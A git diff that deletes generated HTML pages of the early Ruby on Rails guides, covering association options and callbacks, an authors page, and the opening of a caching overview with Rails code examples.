-<div class="paragraph"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"factory"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_include_tt_4"><tt>:include</tt></h5>
-<div class="paragraph"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.</p></div>
-<h5 id="_tt_insert_sql_tt"><tt>:insert_sql</tt></h5>
-<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to create links between the associated classes. With the <tt>:insert_sql</tt> option, you can specify a complete SQL statement to insert them yourself.</p></div>
-<h5 id="_tt_join_table_tt"><tt>:join_table</tt></h5>
-<div class="paragraph"><p>If the default name of the join table, based on lexical ordering, is not what you want, you can use the <tt>:join_table</tt> option to override the default.</p></div>
-<h5 id="_tt_limit_tt_2"><tt>:limit</tt></h5>
-<div class="paragraph"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">50</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_offset_tt_2"><tt>:offset</tt></h5>
-<div class="paragraph"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset =&gt; 11</tt>, it will skip the first 11 records.</p></div>
-<h5 id="_tt_order_tt_3"><tt>:order</tt></h5>
-<div class="paragraph"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"assembly_name ASC"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_readonly_tt_4"><tt>:readonly</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
-<h5 id="_tt_select_tt_4"><tt>:select</tt></h5>
-<div class="paragraph"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
-<h5 id="_tt_uniq_tt_2"><tt>:uniq</tt></h5>
-<div class="paragraph"><p>Specify the <tt>:uniq =&gt; true</tt> option to remove duplicates from the collection.</p></div>
-<h5 id="_tt_validate_tt_4"><tt>:validate</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
-<h4 id="_when_are_objects_saved_4">4.4.3. When are Objects Saved?</h4>
-<div class="paragraph"><p>When you assign an object to a <tt>has_and_belongs_to_many</tt> association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.</p></div>
-<div class="paragraph"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="paragraph"><p>If the parent object (the one declaring the <tt>has_and_belongs_to_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
-<div class="paragraph"><p>If you want to assign an object to a <tt>has_and_belongs_to_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
-<h3 id="_association_callbacks">4.5. Association Callbacks</h3>
-<div class="paragraph"><p>Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a <tt>:before_save</tt> callback to cause something to happen just before an object is saved.</p></div>
-<div class="paragraph"><p>Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>before_add</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>after_add</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>before_remove</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>after_remove</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>You define association callbacks by adding options to the association declaration. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>before_add <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>check_credit_limit
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
- <span style="color: #990000">...</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Rails passes the object being added or removed to the callback.</p></div>
-<div class="paragraph"><p>You can stack callbacks on a single event by passing them as an array:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>before_add <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>check_credit_limit<span style="color: #990000">,</span> <span style="color: #990000">:</span>calculate_shipping_charges<span style="color: #990000">]</span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
- <span style="color: #990000">...</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> calculate_shipping_charges<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
- <span style="color: #990000">...</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If a <tt>before_add</tt> callback throws an exception, the object does not get added to the collection. Similarly, if a <tt>before_remove</tt> callback throws an exception, the object does not get removed from the collection.</p></div>
-<h3 id="_association_extensions">4.6. Association Extensions</h3>
-<div class="paragraph"><p>You&#8217;re not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_by_order_prefix<span style="color: #990000">(</span>order_number<span style="color: #990000">)</span>
- find_by_region_id<span style="color: #990000">(</span>order_number<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">..</span><span style="color: #993399">2</span><span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you have an extension that should be shared by many associations, you can use a named extension module. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> FindRecentExtension
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_recent
- find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">5</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> FindRecentExtension
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>deliveries<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> FindRecentExtension
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To include more than one extension module in a single association, specify an array of names:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span>FindRecentExtension<span style="color: #990000">,</span> FindActiveExtension<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Extensions can refer to the internals of the association proxy using these three accessors:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>proxy_owner</tt> returns the object that the association is a part of.
-</p>
-</li>
-<li>
-<p>
-<tt>proxy_reflection</tt> returns the reflection object that describes the association.
-</p>
-</li>
-<li>
-<p>
-<tt>proxy_target</tt> returns the associated object for <tt>belongs_to</tt> or <tt>has_one</tt>, or the collection of associated objects for <tt>has_many</tt> or <tt>has_and_belongs_to_many</tt>.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">5. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-September 28, 2008: Corrected <tt>has_many :through</tt> diagram, added polymorphic diagram, some reorganization by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
-</p>
-</li>
-<li>
-<p>
-September 22, 2008: Added diagrams, misc. cleanup by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-September 14, 2008: initial version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/authors.html b/railties/doc/guides/html/authors.html
deleted file mode 100644
index ab205c96a9..0000000000
--- a/railties/doc/guides/html/authors.html
+++ /dev/null
@@ -1,87 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>About the Authors</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" class="notoc">
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container" class="notoc">
-
- <div id="content">
- <h1>About the Authors</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="sidebarblock" id="fcheung">
-<div class="sidebar-content">
-<div class="sidebar-title">Frederick Cheung</div>
-<div class="paragraph"><p>Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
-He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.</p></div>
-</div></div>
-<div class="sidebarblock" id="mgunderloy">
-<div class="sidebar-content">
-<div class="sidebar-title">Mike Gunderloy</div>
-<div class="paragraph"><p>Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
-work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a>.</p></div>
-</div></div>
-<div class="sidebarblock" id="miloops">
-<div class="sidebar-content">
-<div class="sidebar-title">Emilio Tagua</div>
-<div class="paragraph"><p>Emilio Tagua&#8201;&#8212;&#8201;a.k.a. miloops&#8201;&#8212;&#8201;is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
-Cofounder of <a href="http://www.eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008.
-Can be found at gmail, twitter, freenode, everywhere as miloops.</p></div>
-</div></div>
-<div class="sidebarblock" id="hawe">
-<div class="sidebar-content">
-<div class="sidebar-title">Heiko Webers</div>
-<div class="paragraph"><p>Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development
-company focused on Ruby on Rails. He blogs at <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>. After 10 years of desktop application development,
-Heiko has rarely looked back.</p></div>
-</div></div>
-<div class="sidebarblock" id="toretore">
-<div class="sidebar-content">
-<div class="sidebar-title">Tore Darell</div>
-<div class="paragraph"><p>Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
-and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no/">Sneaky Abstractions</a>.</p></div>
-</div></div>
-<div class="sidebarblock" id="zilkey">
-<div class="sidebar-content">
-<div class="sidebar-title">Jeff Dean</div>
-<div class="paragraph"><p>Jeff Dean is a software engineer with <a href="http://pivotallabs.com/">Pivotal Labs</a>.</p></div>
-</div></div>
-<div class="sidebarblock" id="cmarques">
-<div class="sidebar-content">
-<div class="sidebar-title">Cássio Marques</div>
-<div class="paragraph"><p>Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, C++ and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">http://cassiomarques.wordpress.com</a>, which is mainly written in portuguese, but will soon get a new section for posts with english translation.</p></div>
-</div></div>
-<div class="sidebarblock" id="lifo">
-<div class="sidebar-content">
-<div class="sidebar-title">Pratik Naik</div>
-<div class="paragraph"><p>Pratik Naik is an independent Ruby on Rails consultant and also a member of the <a href="http://rubyonrails.com/core">Rails core team</a>. He blogs semi-regularly at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a> .</p></div>
-</div></div>
-</div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/caching_with_rails.html b/railties/doc/guides/html/caching_with_rails.html
deleted file mode 100644
index 02cc981b0e..0000000000
--- a/railties/doc/guides/html/caching_with_rails.html
+++ /dev/null
@@ -1,480 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Caching with Rails: An overview</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_basic_caching">Basic Caching</a>
- <ul>
-
- <li><a href="#_page_caching">Page Caching</a></li>
-
- <li><a href="#_action_caching">Action Caching</a></li>
-
- <li><a href="#_fragment_caching">Fragment Caching</a></li>
-
- <li><a href="#_sweepers">Sweepers</a></li>
-
- <li><a href="#_sql_caching">SQL Caching</a></li>
-
- <li><a href="#_cache_stores">Cache stores</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_conditional_get_support">Conditional GET support</a>
- </li>
- <li>
- <a href="#_advanced_caching">Advanced Caching</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Caching with Rails: An overview</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>Everyone caches. This guide will teach you what you need to know about
-avoiding that expensive round-trip to your database and returning what you
-need to return to those hungry web clients in the shortest time possible.</p></div>
-</div>
-</div>
-<h2 id="_basic_caching">1. Basic Caching</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>This is an introduction to the three types of caching techniques that Rails
-provides by default without the use of any third party plugins.</p></div>
-<div class="paragraph"><p>To get started make sure <tt>config.action_controller.perform_caching</tt> is set
-to <tt>true</tt> for your environment. This flag is normally set in the
-corresponding config/environments/*.rb and caching is disabled by default
-there for development and test, and enabled for production.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>perform_caching <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
-<h3 id="_page_caching">1.1. Page Caching</h3>
-<div class="paragraph"><p>Page caching is a Rails mechanism which allows the request for a generated
-page to be fulfilled by the webserver, without ever having to go through the
-Rails stack at all. Obviously, this is super-fast. Unfortunately, it can&#8217;t be
-applied to every situation (such as pages that need authentication) and since
-the webserver is literally just serving a file from the filesystem, cache
-expiration is an issue that needs to be dealt with.</p></div>
-<div class="paragraph"><p>So, how do you enable this super-fast cache behavior? Simple, let&#8217;s say you
-have a controller called ProductsController and a <em>list</em> action that lists all
-the products</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
- caches_page <span style="color: #990000">:</span>index
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The first time anyone requests products/index, Rails will generate a file
-called <tt>index.html</tt> and the webserver will then look for that file before it
-passes the next request for products/index to your Rails application.</p></div>
-<div class="paragraph"><p>By default, the page cache directory is set to Rails.public_path (which is
-usually set to <tt>RAILS_ROOT + "/public"</tt>) and this can be configured by
-changing the configuration setting <tt>config.action_controller.page_cache_directory</tt>.
-Changing the default from /public helps avoid naming conflicts, since you may
-want to put other static html in /public, but changing this will require web
-server reconfiguration to let the web server know where to serve the cached
-files from.</p></div>
-<div class="paragraph"><p>The Page Caching mechanism will automatically add a <tt>.html</tt> exxtension to
-requests for pages that do not have an extension to make it easy for the
-webserver to find those pages and this can be configured by changing the
-configuration setting <tt>config.action_controller.page_cache_extension</tt>.</p></div>
-<div class="paragraph"><p>In order to expire this page when a new product is added we could extend our
-example controler like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
- caches_page <span style="color: #990000">:</span>list
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you want a more complicated expiration scheme, you can use cache sweepers
-to expire cached objects when things change. This is covered in the section on Sweepers.</p></div>
-<h3 id="_action_caching">1.2. Action Caching</h3>
-<div class="paragraph"><p>One of the issues with Page Caching is that you cannot use it for pages that
-require to restrict access somehow. This is where Action Caching comes in.
-Action Caching works like Page Caching except for the fact that the incoming
-web request does go from the webserver to the Rails stack and Action Pack so
-that before filters can be run on it before the cache is served, so that
-authentication and other restrictions can be used while still serving the
-result of the output from a cached copy.</p></div>
-<div class="paragraph"><p>Clearing the cache works in the exact same way as with Page Caching.</p></div>
-<div class="paragraph"><p>Let&#8217;s say you only wanted authenticated users to edit or create a Product
-object, but still cache those pages:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
- before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
- caches_page <span style="color: #990000">:</span>list
- caches_action <span style="color: #990000">:</span>edit
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
- expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>And you can also use <tt>:if</tt> (or <tt>:unless</tt>) to pass a Proc that specifies when the
-action should be cached. Also, you can use <tt>:layout =&gt; false</tt> to cache without
-layout so that dynamic information in the layout such as logged in user info
-or the number of items in the cart can be left uncached. This feature is
-available as of Rails 2.2.</p></div>
-<div class="paragraph"><p>[More: more examples? Walk-through of Action Caching from request to response?
- Description of Rake tasks to clear cached files? Show example of
- subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
- to expire_action?]</p></div>
-<h3 id="_fragment_caching">1.3. Fragment Caching</h3>
-<div class="paragraph"><p>Life would be perfect if we could get away with caching the entire contents of
-a page or action and serving it out to the world. Unfortunately, dynamic web
-applications usually build pages with a variety of components not all of which
-have the same caching characteristics. In order to address such a dynamically
-created page where different parts of the page need to be cached and expired
-differently Rails provides a mechanism called Fragment Caching.</p></div>
-<div class="paragraph"><p>Fragment Caching allows a fragment of view logic to be wrapped in a cache
-block and served out of the cache store when the next request comes in.</p></div>
-<div class="paragraph"><p>As an example, if you wanted to show all the orders placed on your website
-in real time and didn&#8217;t want to cache that part of the page, but did want
-to cache the part of the page which lists all products available, you
-could use this piece of code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% Order.find_recent.each do |o| %&gt;</span>
- <span style="color: #FF0000">&lt;%= o.buyer.name %&gt;</span> bought <span style="color: #FF0000">&lt;% o.product.name %&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;% cache do %&gt;</span>
- All available products<span style="color: #990000">:</span>
- <span style="color: #FF0000">&lt;% Product.find(:all).each do |p| %&gt;</span>
- <span style="color: #FF0000">&lt;%= link_to p.name, product_url(p) %&gt;</span>
- <span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The cache block in our example will bind to the action that called it and is
-written out to the same place as the Action Cache, which means that if you
-want to cache multiple fragments per action, you should provide an <tt>action_suffix</tt> to the cache call:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% cache(:action =&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">%&gt;</span>
- All available products<span style="color: #990000">:</span></tt></pre></div></div>
-<div class="paragraph"><p>and you can expire it using the <tt>expire_fragment</tt> method, like so:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'products'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> 'all_products<span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>If you don&#8217;t want the cache block to bind to the action that called it, You can
-also use globally keyed fragments by calling the cache method with a key, like
-so:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
